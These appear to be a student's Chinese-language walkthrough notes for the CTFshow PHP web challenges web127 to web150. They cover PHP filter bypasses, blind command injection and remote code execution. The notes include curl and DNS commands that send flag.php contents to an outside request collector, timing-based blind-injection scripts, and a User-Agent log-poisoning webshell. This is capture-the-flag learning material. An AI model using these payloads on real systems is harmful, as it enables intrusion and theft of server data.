还有一点大概率前端GET和POST中的+到服务器中就变为了空格 这个不一定 记住了就行
答案:?ctf show=ilove36d
第一点 虽然变量名中的_并且过滤了+ [ . 但是用最原始的空格即可或者%20 就能得到一个_
第二点 $_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。?ctf%5fshow=ilove36d
web128
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2))); }else{echo "嗯哼?"; } function check($str){return !preg_match('/[0-9]|[a-z]/i', $str); } NULL
考察的知识点
- call_user_func($f1,$f2) 函数 执行后会得到$f1($f2) 如果$f2为空则$f1()
- 因为check函数过滤了数字和字母导致$f1变得不可控 知识点:gettext是php唯一有符号别名的函数别名为_
- _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
- gettext函数的作用就是原封不动的返回参数
- get_defined_vars()函数返回所有已知的变量以及值 因为该文件已经包含了flag.php文件了$flag在本文件中也是能被get_defined_vars获取到的
所以答案为
?f1=_&f2=get_defined_vars
web129
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);} }
考察知识点
stripos()函数查找子串在字符串中首次出现的位置 返回首个下标位置
stripos()
是大小写不敏感的readfile()函数 读取指定文件到缓冲区中 使用echo进行输出
方法一
我们构建一个目录穿越
先说答案?f=/ctfshow/../../../../var/www/html/flag.php 或者 ?f=../ctfshow/../../www/html/flag.php
解释其中一个?f=../ctfshow/../../www/html/flag.php
在上级目录中找一个ctfshow的目录下的上一级目录 依旧是原始的上一级目录也就是www下 再上一级目录中就有www了
方法二
使用过滤器 f变量直接获取flag.php内容 因为flag.php中存在ctfshow字符串所以也能绕过第二个if
然后readfile读取一下 再用echo输出
?f=php://filter/ctfshow/resource=flag.php
但是 这个过滤器加上一个base64编码 为什么能被输出出来 是被echo输出的嘛
本地测试一下加密的 发现两个echo输出的都是过滤器的原始样子 不知道怎么绕过if的 然后测试不加密的发现 虽然我们包含的web319.php中根本没有ctfshow 依旧能绕过if 并且注释echo语句 这个过滤器就没用了什么都不输出了 看来过滤器能绕过该if判断呀
web130
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag; }
知识点
preg_match('/.+?ctfshow/is', $f) 就是匹配ctfshow的字符串 并且在该字符串之前要匹配一个或任意一个字符因为.+的存在(其中
.
匹配除了换行符以外的任意字符,+
表示匹配一次或多次,?
表示非贪婪模式)这个非贪婪模式不用管所以答案就是?f=ctfshow
数组也能绕过 ?f[]=任意字符
说实话这个数组绕过搜索后也不是很明白 就算报错返回false 那false依旧等于false 能执行if语句呀 为什么会绕过呢 我的理解是stripos因为数组的原因直接报错使得if语句直接就为false 经过我的测试发现我的理解是正确的 测试是我把false换为true 能绕过 去除===判断 依旧也能绕过
网上还有一种解释stripos应用于数组的时候会返回null null!==false/true 但if(null)会被认为语句不成立
stripos 匹配到了返回下标 没匹配到返回false
0!==false
web131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;}
加入了将post中f转换为字符串的步骤 导致不能用上一题的数组绕过if语句了
两个if逻辑
第一个 匹配到ctfshow且最前面有任意一个字符 就会结束脚本
第二个 匹配不到36Dctfshow就会结束脚本
这样这个逻辑就范冲突了
如果f=ctfshow36Dctfshow 虽然绕过了第二个 但是第一个if语句就不会绕过
不能用正常想法去做这题
使用正则溢出 简单理解就是preg_match() 这个函数一但匹配大量字符串 他就不进行匹配了 直接返回false
如果超过100万个字符就能绕过该函数的匹配 直接返回false
专业解释是正则匹配中对回溯数和嵌套数进行了最大限制。这道题用到了最大回溯数(必须使用非贪婪模式?)
写个生成100万字符的脚本
<?php
$a=str_repeat('show',25000);
$b=$a.'36Dctfshow';
echo $b;
然后提交
web132
是一个页面 直接看教程
访问robots.txt 当前目录下存在一个admin
题在这里呢
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){echo $flag;} }
}
知识点
mt_rand(1,0x36D) 会生成1-877的随机整数
这道题考察点事 逻辑运算的执行顺序
if (a && b || c)
如果a b都为假 c为真 if语句也为真 因为有先后逻辑运算顺序
过程: a&&b=假 假||真=真
所以只要传入code=admin username=admin 且password不为空即可
web133
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");} }
最终目的要执行eval(substr($F,0,6)) 所以要让substr($F,0,6)返回我们需要获取flag的语句
shell_exec()
函数的输出结果仅作为函数的返回值,因此除非将其打印出来或者对其进行处理,否则不会直接在浏览器中输出shell_exec()
函数和反引号``一个意思 flag.php是多行,需要grep一下,其次不能含有特殊符号,所以tr设置一下返回结果只携带字母和数字答案?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1
他截取完就变成了`$F`; == eval(shell_exec($F);)
因为$F 是`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1
所以就变成了
eval(shell_exec(`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1);)
但是不知道为什么我DNS没有外带出来和视频一模一样
这个
这个dnslog的问题 困扰了我和那就 现在是一个半月之后了
他截断 并且禁用了system 可以使用shell_exec 但是该函数没有回显 就使用外带
这回没用dnslog 使用其他的两种方法 一种是vps 一种是requestbin
这里有个很关键的问题使用这两种方法的时候 一次只能外带出一行数据 如果超过一行 什么数据都带不出来了
首先是requestbin方式外带
网站为:requestbin
先点击绿色的
显示了很多用法
我们不需要 直接使用curl http://requestbin.cn:80/1ddijp01 即可
本地尝试一下
刷新那个网站 就能获取到id=123 这个url中的 内容 这种方式其实是最简单的 使用vps监听也能达到该效果
演示结束
解释一下payload 这里面的+换成空格也可以 反正 不能和;挨着 跟截取6个字符有关 但是我感觉没啥影响呀 就算是挨着截取了 也没关系呀 难道是因为可能会报错?
过了一天发现应该就是报错所以第六个位置要用空格 例如 在php中 phpinfo();可以
phpinfo();q 就会报错虽然phpinfo依旧能执行 但是题目中使用嵌套 也就是说第一次的phpinfo是可以执行的 但是第二次是不可以执行的
?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`
这个顺序其实是我理解的 可能不对 但是基本是对的
?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`
截取变为
`$F`;+
继续执行变为
``$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag``;+
然后 继续执行
首先执行分号前 先替换 执行分号后curl语句现在上面这一整句都在eval中 这个时候 按顺序先执行红色的 红色的执行完(依旧是替换)后 执行橙色的 进行curl执行 到达p=后 识别出``然后执行cat语句 这个时候必须在cat前后加入反引号 能成功识别为这是一个shell语句 否则?p获取的是字符串cat
查看flag 必须使用grep一行一行输出
第二种方法vps 同理
vps也分两种 一种获取值 第二种方法监听端口
第一种监听端口
第二种获取值 curl.php文件内容接收值
还有第三种方法 python脚本爆破
import requests import time as t # as重命名url = 'http://1264c730-93a0-4f72-b5ee-103978fbc19f.challenge.ctf.show/?F=`$F%20`;' alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']result = '' # 结果集 for i in range(1,50): #位置的第几位for char in alphabet: #某位置的字符是什么# 终于知道为什么 明明知道flag名字为什么还要这么写 这么写可以一个一个判断字符是什么 因为没有回显 只能延时判断payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php# payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)try:start = int(t.time())r = requests.get(url+payload)end = int(t.time()) - startif end >= 3:result += charprint("Flag: "+result)breakexcept Exception as e:print(e)
群主师傅的方法 dnslog 我的dnslog不行 大概原因是dnslog本身的dns设置 给我映射到本地127了 使用requestbin即可
以上所有外带方法获取值的时候大括号这个特殊符号获取不到 过了十分钟后 我发现为啥有些字符获取不到了 某些个别字符在url中是不解析的 比如大括号 也就是说 他确实是获取到了大括号 但是通过url传过来的时候 要输出的时候不会讲该字符进行输出
web134
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php')); }
答案 ?_POST[key1]=36d&_POST[key2]=36d
解释:考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d
web135
133加强版
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}
第一种
不用base64不行 当时不知道为什么 解码后发现是因为flag有两行 不是一行 超过一行带不出来数据
就算用base64 也会发现解码后不是完整的flag 数据也没带全这时 修改grepflag2即可
而且我发现如果不使用grep 确实能带出来 但是带出来的字节数应该有限制(记住限制就行)
这里面过滤很多 只用'' "" / 都可以绕过限制
?F=`$F`; cur\l http://requestbin.cn:80/19wya6l1?p=`c\at flag.php|g\rep flag|b\ase64`
第二种
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
第三种 群主大佬 依旧使用的是dnslog
这里说一下如果使用dnslog 一定要使用tr去除一下非法字符 在二级域名的位置如果有非法字符带不出来数据 但是使用requestbin的时候 虽然也是url的非法字符 但是其余字符都是可以带出来的
web136
<?php error_reporting(0); function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');} } if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c); } else{highlight_file(__FILE__); } ?>
又是一个无回显的命令执行exec
使用ls / | tee 1 能将ls输出的内容 写入1文件中 访问1就能下载该文件
发现有个f149_15_h3r3文件
?c=cat /f149_15_h3r3 | tee 2 访问2 下载查看 出现flag
web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);
一个魔术方法 一个静态方法(不用实例化就能调用)
不用实例化直接用类访问方法的格式为 类名::方法名
所以单位ctfshow=ctfshow::getFlag
web138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}
if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}
call_user_func($_POST['ctfshow']);
在上一题的基础了过滤了:冒号 另一种不需要实例化就能调用类方法的方式是
ctfshow[0]=ctfshow&ctfshow[1]=getFlag 就能演变成ctfshow.getFlag()
web139
<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>
过滤了太多 和web136一模一样 但是用136的方法做不出来 估计是服务器给限制了 教程说需要命令盲注 exec是一个无回显的命令执行
利用web136的方法不行,没有写入权限了。?c=ls;sleep 3
确实等待了一会,可以执行,没有回显,命令盲注。
这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意
获取当前目录下文件名的python脚本(因为用到延迟函数 所以受网咯波动影响 多尝试几次 以防结果有问题)
import requests
# 指定提交的url
url = "http://5d6d11e6-5ef5-4602-b63c-6606b218cb3e.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi "
# 定义一个字典
strings = "1234567890abcdefghijklmnopqrstuvwxyz_-}{"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 10 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for r in range(1,row):for l in range(1,length):for s in strings:tj = url+payload.format(r,l,s)# 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环try:requests.get(tj,timeout=3)except:result+=sprint(result)break# 每一行比较完成获得结果后 在结果后加入空格 好区分result+=" "
得出当前目录下的flag文件为2=f149_15_h3r3
payload解释 if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi
这是一个shell格式的脚本
ls / -1 能将结果分行显示 awk \"NR=={}\" 能选择指定行数 cut -c {} 能选择指定位数
为什么用反引号呢 反引号意思等于shell_exec 可以完成shell语句 将结果返回给if函数
最终结果被反引号 `...` 包裹,表示将这些命令的输出作为条件
然后和指定字符比较 如果比较成功 延迟4s
获取指定文件内容的脚本
import requests
# 指定提交的url
url = "http://2650b538-28df-4bbc-b8e5-542516a1a49c.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi "
# 定义一个字典 为了方便这个payload构造一个简单的
strings = "ctfshow123456789}{-abdeghijklonpqrtuvwxyz"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 48 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for l in range(1,length):for s in strings:tj = url+payload.format(l,s)# 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环try:requests.get(tj,timeout=4)except:result+=sprint(result)break# 每一行比较完成获得结果后 在结果后加入空格 好区分
result+=" "
第二个脚本 有时间都要分析一下脚本
import requestsurl = 'http://e37a25ed-4427-4353-87d1-b421f8107792.challenge.ctf.show/?c='
payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''max_NR = 2 # 假设最多1行
max_c = 50 # 假设一行最多49个字符
chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符for NR in range(1, max_NR): # 从第一行开始for c in range(1, max_c): # 从第一个字符开始for char in chars:try:requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码except:print(char, end = '') # 出现延迟输出字符breakprint()
这个flag前面基本没问题 最后两位获取的每次都不一样 难搞呀 过了一个月后继续尝试了一下 依旧不可以了 总有个别字符出问题 依旧是获取不到大括号 本来想着原因也是和133 135 一样 二级域名如果存在大括号根本带不出数据 但是url中存在大括号 大括号不会被输出出来 但是发现发现原因是因为
距离如果flag为ctfshow{123} {位置在8的位置 当l在8时 cut -c 8 的确获取到了{ 但是url中的if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi 在获取完{后 而 {在url中是非法字符 不显示 所以这个时候语句就为了if [ `cat /f149_15_h3r3 | cut -c 8` == ];then sleep 5;fi 所以就无法判断{是否存在
重新再说一下 就是if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi 语句是当做url带入到服务器中的 带入服务器前变为if [ `cat /f149_15_h3r3 | cut -c 8` == \"{\" ];then sleep 5;fi 但是通过url带入服务器后变味了if [ `cat /f149_15_h3r3 | cut -c 8` == \"\" ];then sleep 5;fi 大括号通过url后 因为是非法字符服务器不识别 直接就变没了 这个时候{和空比较 所以比较不成功
妈的真开心 4/1又过了5天上定制班课的时候 我用第二个脚本尝试了一下成功了 真他妈不容易呀
有时间要研究一下到底什么原因 难道是网速的原因 还是脚本本身的原因
web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}
接收连个参数f1和f2 通过正则匹配 字符串只能是数字和字母组成的且开头和结尾都是数字或字母
变量code的值为 f1(f2())的返回值 有个if的判断条件 必须保证 intval($code)与ctfshow相等 这是一个弱类型的比较 当数字与字符串比较时 会将字符串转换为0 intval函数会将字符串转换为0
这样只要让$code为一个字符串即可 其实让intval函数返回0即可
答案
system(system())的返回值是NULL 通过intval函数 返回值就为0
system(phpinfo())也行 因为返回一个html的页面 开头肯定是一个< 通过整形转换也会变为0
usleep(usleep())无返回值 通过类型转换也是0
getdate(getdate())
getdate()返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。
web141
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
当传递一个值给 is_numeric()
函数时,它会判断该值是否可以被解释为数字。如果该值是数字或数字字符串(包括整数、浮点数或科学计数法表示的数值),则函数返回 true
,否则返回 false
。
正则 表示$3完全由非单词字符组成才可以进入if语句
^
表示字符串的开头。\W
表示非单词字符(即除了字母、数字和下划线之外的字符)。+
表示前面的模式可以出现一次或多次。$
表示字符串的结尾。
最后执行代码 $v1$v3$v2 然后返回回值给$code
也就说需要使用无字母RCE
本来想着说是使用下划线代表函数 但是下划线也不能被\w的正则匹配到 且还需要在环境中开启扩展 那就以飞字母数字以及下划线的字符构造字母
$v1$v2$v3
1+phpinfo()+1; 是可以运行的 因为是进行字符串构造 我们还需要改一下
1+('phpinfo')()+1 这里的phpinfo是字符串 上面的不是字符串 我们只能造出字符串所以用这种方式
就用位运算生成一个 phpinfo的字符串 这里+要变成- 因为+在传参的时候容易被编码为空格
变成1 ('phpinfo')() 1 是不行的 虽然$1$2为数字。但是1-('phpinfo')()-1可以
额外话为什么说异或后的GET不能被解析 但是测试时用的get能被解析
简单理解就是测试的时候 双引号里面是一个整体 里面的被执行 如果这时候
那就不行了 同理异或出来的就是字符串了
而且还有一个关键点就是有return eval里面的必须用双引号引起来 否则报错
代码流程就是 先通过return返回异或运算的结果 eval再去执行这个返回的结果 之所以能进行运算 就是因为return的原因(我测试过了)
web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}
太简单 0*任何数都为0
传参?v1=0 echo输出的file函数获取的信息 在源码中能查看到(ai搜索说是如果在源码才能看到 输出的内容包含了 HTML 标签或特殊字符 导致浏览器将内容解析成了 HTML 标签而不是直接显示)
web143
141pro版本
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
直接用yu师傅写的脚本 即可 在php脚本中更改一下生成的要求即可
生成payload
经过测试有的时候这个十六进制的可以不加引号 最好加上双引号以防报错
要记住减号换位乘号 因为在这题中过滤了减号
web144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
function check($str){return strlen($str)===1?true:false;
}
使用check函数判断v3 必须让v3的字符串长度等于1才可以
对v2进行了严格匹配
那v1=1 v3=-即可 v2依旧使用执行2(同样也是异或方式)的脚本生成payload(yu师傅的php脚本总感觉哪里有问题 有的时候好事有的时候不好使 python脚本没问题 等有时间了再看看 分析一波)
得到flag
web145
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
144的plus版本
加减乘除全屏蔽了 以及异或^也被屏蔽了
加减乘除可以用三元运算?:
不使用异或的运算 使用取反
使用yu师傅脚本也可以
web146
<?phphighlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
三目运算符也不行了 用|符号也是可以的或运算符号
运算使用|也是可以的
web147
<?php
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
这里说一下突然想起来的随便举个例子比如题中所说$ctfshow 如果ctfshow值为phpinfo(); 因为是字符串 不能执行 必须前面是eval才可以 eval('传的值') 这样才可以 重新说一下 传值都是字符串 但是'phpinfo'()可以 'phpinfo()'不可以(我本地试了 这是在本地的解释)
回到题中 匹配a-z0-9_开头结尾的任意多的字符 在php中 函数以及类都在这个\命名空间里面
例如正常些 echo可以 \echo也是可以的
然后正常函数一般没有两个参数 使用create_function这个构建匿名函数的函数 第一个参数为函数的参数 第二个参数为函数的函数体
比如
根据这道题第一个参数为空 也就代表无参也不报错 使用}封闭if语句传入phpinfo;/*使用注释注释后面的
这个时候我就有点蒙了 我这样可以 那为什么
我直接传?\phpinfo();}/* 就不能执行phpinfo 我记得之前练习的时候通过get直接传了phpinfo();可以呀 而且在上面我说了'phpinfo'() 可以 'phpinfo()' 不可以 为什么get传过来的phpinfo();字符串可以呢 因为前面有个eval!!!!
‘然后呢看到这题解我又蒙了 这没eval也照样能执行phpinfo();呀
总结
直接GET传过来的phpinfo();不行 需要加上eval
本地直接'phpinfo();'也不行 php不让
这题这种可以执行 唯一的解释就是 比如传参为phpinfo(); 到服务器就变成了'phpinfo();'
然后}把'包进去了 后面注释把‘注释了 就变成了phpinfo();
记住上面的四行即可 还有一点就是eval必须在服务器上 直接传是不行的
终于理解为什么之前说的双层eval 服务器本身还有一个
这个时候我觉得都解释通了 但是 这为什么不行呢 很炸裂 这里我有一种解释不知道对不对 就是之所以get中的那种可以 是因为在服务器上那是直接接收的get 而这个post已经被操作好多次了 只能这么解释了哈哈
还有一种解释 就是用到了create_function()代码注入 第二个参数被认定为可以执行的方法 而第一个参数就是字符串 哈哈哈这么解释应该是更对的 基本就是这个解释了 研究了一个多小时了 真的很感慨 现在是2024/3/2晚上九点 马上回寝室了 结果弄出来了 每次都是
create_function('',$GET[1]) 等同于
function niming($funcname){
$GET[1]; 按理说这个接收过来的是字符串 但是因为create_function函数原因 会将字符串转换为方法也就是可执行的
}
web148
<?phpinclude 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
else{highlight_file(__FILE__);
}function get_ctfshow_fl0g(){echo file_get_contents("flag.php");
}
唯一一点就是
eval("return $v1$v3$v2;");变为了
eval($code); 一个意思
第一个就是eval可以使return执行 从而进行了位运算以及位运算结果的函数执行
第二个直接就是进行位运算然后结果的函数执行 少了一个return
取反取消了使用异或即可构造出
('system')('ls');或者构造get_ctfshow_fl0g();也可以
或者
五点半
web149
<?php
error_reporting(0);
highlight_file(__FILE__);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}
该目录下只能存在index.php合格文件否则会删除 然后写数据到一个文件里 然后继续删除
那就把数据写到index文件中即可
再访问一次 他就提醒需要传入参数 这就代表成功了
伪协议也行一个意思
为什么用伪协议写进去的 是base64编码形式的数据也行呢? 因为过滤器以加密方式打开 写进去后 他也会以解密形式重新写入
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
这道题其实代码有很多但是这题使用非预期的方式
先在u-a中传入木马
isVIP为true ctf为日志路径
1为执行的命令
web150plus
修复了非预期
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}